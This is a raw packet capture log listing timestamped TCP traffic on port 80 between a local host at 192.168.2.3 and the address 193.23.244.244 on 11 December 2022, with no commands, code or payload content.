Dec 11, 2022 09:26:40.456465960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456506014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456516981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456546068 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456592083 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456595898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456638098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456649065 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456679106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.456706047 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.456729889 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.457762957 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.457828999 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.457874060 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.457921982 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.457962036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458015919 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458153009 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458210945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458241940 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458261967 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458297968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458306074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458314896 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458348036 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458353043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458395958 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458437920 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458458900 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458458900 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458477974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458489895 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458528042 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458530903 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458549023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458576918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458591938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458596945 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458635092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458637953 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458684921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458686113 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458726883 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458730936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458769083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.458781004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.458820105 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.470443010 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.471698046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.471735954 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.471790075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.471790075 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485043049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485127926 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485265970 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485321999 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485466957 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485547066 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485757113 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485825062 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485856056 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485894918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.485894918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.485955954 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.486181974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.486253977 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.486428022 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.486507893 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.486510038 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.486565113 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.486661911 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.486718893 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487020969 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487076998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487322092 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487379074 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487449884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487504005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487509966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487560034 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487581968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487633944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487638950 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487695932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487695932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487747908 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487876892 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.487931967 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.487948895 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488001108 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488146067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488204002 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488296032 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488348007 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488375902 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488432884 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488461971 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488517046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488523006 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488570929 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488590002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488646984 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488656998 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488696098 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488711119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488749981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488765955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488801003 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488828897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488883972 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488890886 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.488940001 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.488954067 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489001989 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489028931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489089966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489089966 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489140034 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489156008 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489203930 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489232063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489281893 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489293098 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489341021 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489352942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489398956 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489425898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489471912 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489485979 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489527941 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489547014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489595890 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489623070 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489681959 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489682913 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489728928 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489743948 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489792109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489819050 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489872932 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489876986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489924908 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.489939928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.489986897 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490001917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490062952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490072012 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490113020 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490128994 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490180016 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490190983 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490242004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490252972 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490308046 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490375042 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490433931 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490438938 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490492105 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490502119 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490560055 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490564108 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490626097 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490627050 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490679026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490688086 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490750074 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490740061 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490802050 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490809917 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490863085 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.490869999 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490957975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.490962029 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491028070 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491039038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491092920 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491101027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491151094 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491166115 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491216898 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491226912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491280079 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491291046 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491343021 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491350889 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491405964 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491415024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491472006 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491477013 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491537094 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491537094 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491599083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491611004 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491657972 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491661072 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491715908 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491724968 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491777897 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491789103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491837025 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491848946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491895914 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.491914988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491960049 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.491969109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492010117 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492022038 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492072105 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492086887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492130995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492134094 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492177010 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492208004 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492252111 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492268085 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492316961 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492331982 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492381096 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492377043 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492461920 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492491961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492556095 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492556095 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492600918 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492616892 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492669106 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492683887 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492727041 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492738008 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492777109 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492788076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492850065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492856026 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492897034 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492909908 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.492958069 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.492970943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493021011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493032932 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493078947 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493094921 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493143082 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493164062 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493170023 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493187904 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493197918 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493210077 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493226051 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493247032 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493252039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493278027 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493283033 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493300915 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493304014 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493324995 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493334055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.493347883 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.493515968 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.522440910 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522558928 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522607088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522624016 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.522689104 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522738934 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522738934 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.522768974 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522802114 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522819042 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.522844076 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522901058 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.522952080 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.522981882 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523021936 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523030996 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523052931 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523087025 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523107052 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523128986 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523159981 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523175955 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523190975 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523227930 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523237944 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523258924 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523288965 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523312092 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523319960 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523349047 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523370981 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523380995 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523412943 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523432016 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523442984 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523472071 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523488045 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523503065 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523533106 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523554087 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.523566961 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523597002 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.523618937 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.541676044 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551680088 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551714897 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551738024 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551748991 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551760912 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551784039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551785946 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551806927 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551829100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551845074 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551851988 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551873922 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551883936 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551898956 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551922083 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.551928043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.551970005 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557574034 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557611942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557650089 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557684898 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557698011 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557734966 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557763100 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557800055 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557841063 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557862043 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557871103 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557899952 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557929039 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557935953 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557957888 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.557977915 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.557997942 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558026075 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558052063 CET	49738	80	192.168.2.3	193.23.244.244
Dec 11, 2022 09:26:40.558105946 CET	80	49738	193.23.244.244	192.168.2.3
Dec 11, 2022 09:26:40.558157921 CET	49738	80	192.168.2.3	193.23.244.244
